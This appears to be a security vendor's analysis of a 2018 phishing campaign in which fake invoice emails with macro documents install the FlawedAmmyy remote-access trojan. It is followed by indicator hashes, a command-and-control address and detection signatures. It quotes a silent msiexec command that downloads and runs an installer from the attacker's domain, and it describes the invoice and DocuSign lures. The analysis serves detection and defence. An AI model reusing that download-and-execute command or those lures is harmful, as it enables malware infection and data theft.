FlawedAmmyy RAT delivered through fake invoice emails in large numbers

Infection Chain:

Figure 1: Infection chain of the phishing campaign

On October 16th, the email below was sent with subjects such as "Invoice for" (random digits followed by it) and matching attachments like "Invoice_23794.16_10.doc". The attachments were office documents with VB macros in it. We observed two sets of emails tricking users to believe it's from legitimate source. One claims that it has been scanned by the Symantec Email Security and the other claims that it's coming from DocuSign signature service.

Figure 2: Email used in phishing campaign

Figure 3: Email used in phishing campaign

Upon launching the attachment, it tells the user that the document was created in earlier version of Microsoft office and requests to click 'Enable content' to view the content properly.  Even more, the page below has been crafted to look like it has some display issues.

Figure 4: Invoice document

If the recipient falls for the lure and enables content, the malicious macro code shown below runs and launches a command to download the initial payload.  The payload, an installer file, is then run.

Figure 5: Macro that runs when launch the invoice document

Figure 6: Form within the invoice document

The deobfuscated macro code shown below, creates a copy of msiexec.exe,  renames it to pixie.exe and finally runs the windows installer from "http://msboxoffice.com/tech". Installation is done silently using pixie.exe (msiexec.exe).

Figure 6: Deobfuscated macro code

Upon installation, the initial payload (msi installer) drops the next stage payload "host.exe" in the temp directory and starts running it. "Host.exe" then brings down the final payload "Wsus.exe" (flawedammyy RAT) from msboxoffice.com <92.255.99.50> and starts running it.

• WINWORD.EXE (cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\Desktop\Invoice_ 60231.16_10.doc MD5: c1af2d74df77bce93ecb6d0edf3fd2d7
• pixie.exe (cmdline: 'C:\Users\user\AppData\Local\Temp\pixie.exe' /norestart /q /i http://msboxoffice.com/tech MD5: 4315D6ECAE85024A0567DF2CB253B7B0)
• host.exe (cmdline: C:\Users\user\AppData\Local\Temp\Data1\host.exe MD5: 3511183F86F31706B641B7F42DA6E9F4)
• wsus.exe (cmdline: 'C:\ProgramData\Microsofts Help\wsus.exe' -service MD5: E74A33E36A4BFB7F8828B29174BC7D23)

After successfully compromising the machine, wsus.exe connects with the command and control server (C&C) - 169.239.129.27:80 

Ammyy Admin is a popular remote desktop software to gain access into a computer for performing  diagnostics on Microsoft Windows machines. FlawedAmmyy RAT  was created with the leaked source code of Ammyy Admin.  Hence, attackers have complete access over the infected machines with the ability to access a variety of services, steal files, credentials and much more.

Sonicwall Threat Research Lab provides protection against this exploit with the following signatures:

• SPY: 5296 Malformed-File vbs.OT.10
• GAV Cloud: 66894769 Browsefox-6628766-0

Threat Graph:

Figure 7: VirusTotal graph of the documents and payloads involved in this campaign  

Find below the hashes of the email messages and the invoice documents gathered from VirusTotal

Sha256 hashes of the email messages:

9532262eefdd796ccea1fae0fbaf54cf8da2c70bdaa17b12e74384a1580f0fe2
Filename WG Invoice for 01547 10 08 2018.msg
First Seen 2018-10-17 06:55:48

3630b8142f86053aeaa0611a01b1adfc4cd5a1e53d276306ddf8d1628148293e
Filename WG Invoice B0D761AE2 16 10 2018.msg
First Seen 2018-10-17 07:03:22

a7daa0c4d1f6b27beb3c25f8d609b7f94d20fbafb1ef880bef2f1d625444429c
Filename Invoice for 18164 10 08 2018.msg
First Seen 2018-10-16 17:00:33

Sha256 hashes of the invoice documents involved in this campaign:

e006216019968c4bcdf3a7962842ed9200927f17578bcc45ea65e77955b6fd3f
Filename Invoice_ 17846.16_10.doc
First Seen 2018-10-16 15:37:02

3e1be4fd86de1c9a6a0b5aa224320626967c9c85053e07d991d15368d9bcf271
Filename Invoice for 23974 10 08 2018.msg
First Seen 2018-10-17 15:08:45

a673f1545649e3e9b19c37389a76ea66844ea1f307b702ab7118ad819ffcb4fc
Filename host_exe_PID97c_hiddenmodule_210000_x86.exe
First Seen 2018-10-17 07:48:07

8f71a0684ba5d93715c5c537a76dd7a5afafe49cac8aea9f8da42385d4ad4eaf
Filename Invoice_ 81511.16_10.doc
First Seen 2018-10-17 04:51:22

7993a7e4e04918526448a103bb4446f6096f512de82dd93143af463373d3a000
Filename Invoice_ 11217.16_10.doc
First Seen 2018-10-17 06:01:29

ebda73fae7815688b6002b79e2be821dd461542398a646521d15390316874de5
Filename Invoice_ 96124.16_10.doc
First Seen 2018-10-17 05:16:39

1a0e9d083456b1a857b2be13e026ae117f6e82d7f3f7e6f48241f4f3d1aba597
Filename Invoice_ 91254.16_10.doc
First Seen 2018-10-17 05:16:37

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Filename invoice.pub
First Seen 2018-10-16 16:24:02

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Filename Invoice_ 51347.16_10.doc
First Seen 2018-10-17 04:31:36

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Filename Invoice_ 09323.16_10.doc
First Seen 2018-10-17 01:46:30

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Filename Invoice_ 53130.16_10.doc
First Seen 2018-10-17 03:31:33

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Filename Invoice_ 44737.16_10.doc
First Seen 2018-10-17 03:31:32

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Filename Invoice_ 75096.16_10.doc
First Seen 2018-10-17 01:16:35

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Filename Invoice_ 85809.16_10.doc
First Seen 2018-10-17 01:01:43

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Filename Invoice_ 27059.16_10.doc
First Seen 2018-10-17 01:01:37

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Filename Invoice_ 77107.16_10.doc
First Seen 2018-10-17 00:16:41

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Filename Invoice_ 90332.16_10.doc
First Seen 2018-10-17 00:01:54

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Filename Invoice_ 81213.16_10.doc
First Seen 2018-10-17 00:01:51

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Filename Invoice_ 79293.16_10.doc
First Seen 2018-10-16 23:31:32

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Filename Invoice_ 15989.16_10.doc
First Seen 2018-10-16 22:46:34

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Filename Invoice_ 49431.16_10.doc
First Seen 2018-10-16 22:16:32

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Filename Invoice_ 75061.16_10.doc
First Seen 2018-10-16 22:16:37

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Filename Invoice_ 62592.16_10.doc
First Seen 2018-10-16 21:46:34

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Filename Invoice_ 13608.16_10.doc
First Seen 2018-10-16 21:46:29

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Filename Invoice_ 95756.16_10.doc
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Filename Invoice_ 60231.16_10.doc
First Seen 2018-10-16 21:16:50

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Filename Invoice_ 10474.16_10.doc
First Seen 2018-10-16 20:46:30

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First Seen 2018-10-16 20:27:22

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Filename Invoice_ 16478.16_10.doc
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Filename Invoice_ 61260.16_10.doc
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Filename Invoice_ 94753.16_10.doc
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Filename Invoice_ 91895.16_10.doc
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Filename Invoice_ 21774.16_10.doc
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Filename Invoice_ 42016.16_10.doc
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Filename Invoice_ 45934.16_10.doc
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Filename You got invoice from DocuSign Signature Service .msg
First Seen 2018-10-16 17:00:59

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Filename Invoice_ 44708.16_10.doc
First Seen 2018-10-16 18:01:32

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Filename Invoice_ 69385.16_10.doc
First Seen 2018-10-16 18:46:37

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Filename Invoice_ 39499.16_10.doc
First Seen 2018-10-16 18:46:33

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Filename Invoice_ 04247.16_10.doc
First Seen 2018-10-16 19:01:29

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Filename Invoice_ 49835.16_10.doc
First Seen 2018-10-16 19:16:40

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Filename Invoice_ 79724.16_10.doc
First Seen 2018-10-16 19:16:44

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Filename Invoice_ 42667.16_10.doc
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Filename Invoice_ 27364.16_10.doc
First Seen 2018-10-16 19:46:30

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Filename Invoice_ 22975.16_10.doc
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Filename Invoice_ 36816.16_10.doc
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Filename Invoice_ 81548.16_10.doc
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Filename Invoice_ 75998.16_10.doc
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Filename Invoice_ 67758.16_10.doc
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Filename Invoice_ 32247.16_10.doc
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Filename Invoice_ 45205.16_10.doc
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Filename Invoice_ 64344.16_10.doc
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Filename Invoice_ 01246.16_10.doc
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Filename Invoice_ 50261.16_10.doc
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Filename Invoice_ 50185.16_10.doc
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Filename Invoice_ 87210.16_10.doc
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